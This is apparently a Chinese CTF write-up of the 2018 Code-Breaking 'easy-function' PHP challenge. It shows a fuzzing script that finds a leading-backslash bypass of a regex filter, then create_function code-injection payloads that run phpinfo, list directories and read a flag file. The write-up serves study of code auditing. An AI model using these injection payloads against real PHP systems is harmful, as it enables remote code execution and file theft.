代码审计学习.Code-Breaking Puzzles.easy-function
最近在学代码审计,看P神代码审计星球的时候,刚好看到了2018年P神搞得代码审计挑战赛,题确实有点老了,但还是挺有收获的。
题目概述
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
代码审计
源码一目了然,首先就是Get获取两个参数 action
和arg
action = _GET['action'] ?? '';
arg = _GET['arg'] ?? '';
双问号为三元运算表达式,即输入两个参数,若输入,则取我们的输入,否则为空
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
然后就是对action
进行正则表达式过滤,不被匹配则进行如下操作
$action('', $arg);
这句话什么意思呢?就是获取到的action
参数会被作为一个函数,而括号里的则是两个参数,一个是''
,一个就是获取到的另一个参数arg
。很显然这里就是这道题的其中一个关键点。我们需要找一个需要两个参数且能够利用的函数。
漏洞思考
这道题有两个关键点,一个是正则匹配,一个就是利用两个参数进行危险函数构造
正则匹配
if(preg_match('/^[a-z0-9_]*$/isD',$action)
下面是对这个正则表达式的解析:
/
和/
:正则表达式的开始和结束标记。^
:匹配字符串的开头。[a-z0-9_]
:字符类(character class),匹配任意小写字母、数字或下划线。*
:匹配前面的元素零次或多次。在这里,它表示匹配任意数量的小写字母、数字或下划线。$
:匹配字符串的结尾。/isD
:标记模式修饰符。
模式修饰符解释:
i
:表示忽略大小写,使得字母的大小写不敏感。s
:表示将输入视为单行,使得.
元字符也可以匹配换行符。D
:表示取不多余的模式修饰符,该模式修饰符在 PCRE(Perl Compatible Regular Expressions)中无实际意义。
所以,这个正则表达式主要用于判断 $action
的开头是否由任意大小写字母、数字和下划线组成,且没有其他字符。所以只要找到一个字符放在开头,且这个字符不能被正则匹配,我们就可以进行绕过。既然要找一个这样满足条件的字符,我们可以进行fuzz。
Python脚本
import requests
for i in range(1, 256):
tmp = hex(i)[2:]
#将整数 i 转换为十六进制表示,然后取掉前缀 ‘0x’,返回的是纯十六进制数的字符串表示。
if len(tmp) < 2:
tmp = '0' + hex(i)[2:]
#Unicode编码都是两位数,在1-15的十六进制都是1位数,所以要凑两位数,加个0
tmp = '%' + tmp
#Unicode编码= % + 十六进制
url = 'http://172.17.0.1:8087/?action=' + tmp + 'var_dump&arg=23333'
#var_dump 是一个 PHP 函数,用于打印关于一个或多个变量的结构化信息,包括变量的类型和值。
r = requests.get(url=url)
if b'23333' in r.content:
print(r.content)
print(url)
break
运行结果
b'string(0) ""\nstring(5) "23333"\n'
http://172.17.0.1:8087/?action=%5cvar_dump&arg=23333
我们发现当且仅当使用 %5c
打头也就是 \
时,我们可以正常运行var_dump()
,成功绕过正则。
那么这是为什么呢?
php里默认命名空间是\
,所有原生函数和类都在这个命名空间中。
普通调用一个函数,如果直接写函数名function_name()
调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name()
这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace
里调用系统类,就必须写绝对路径这种写法
具体可以看一看php手册,PHP: 命名空间概述 - Manual
到这里我们就完成了用%5c
正则bypass。
构造危险函数
这里注意参数的构造方式
$action('',$arg);
需要一个可以输入至少2个参数的函数,同时第二个参数存在RCE的风险
这里可以看一看这篇文章,写的很不戳
https://skysec.top/2018/03/09/php-command%20or%20code-injection-summary/
可以找到如下函数,create_function() 匿名函数代码注入。
string create_function ( string $args , string $code )
string $args 变量部分
string $code 方法代码部分
create_function
函数在 PHP 7.2.0 版本中被废弃,在 PHP 7.2.0 之后的版本中已经移除。
官方样例:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
我们可以得到create_function()这样的原型
functiontest($a,$b)
{
return"ln($a) + ln($b) = " . log($a * $b);
}
第一个参数控制函数的变量名,第二个参数控制函数内的代码
接下来可以说是很清晰了。直接拼接
action=%5ccreate_function&arg=return"2333";}phpinfo();/*
也就是
\ccreate_function('',return"2333";}phpinfo();/*)
就相当于
else {
functiontest($a,$b)
{
return"2333";
}
phpinfo();#在这个地方就可以进行代码执行了
/*}
构造Payload
action=\create_function&arg=2;}print_r(scandir(%27../%27));/*
action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*
print_r(scandir('../'))
的作用是列出上一级目录中的所有文件和目录,并以可读性更好的格式输出
参考文章
https://zhuanlan.zhihu.com/p/58713380
https://blog.csdn.net/dyw_666666/article/details/90047968
https://xz.aliyun.com/t/6333
https://blog.csdn.net/dyw_666666/article/details/90042852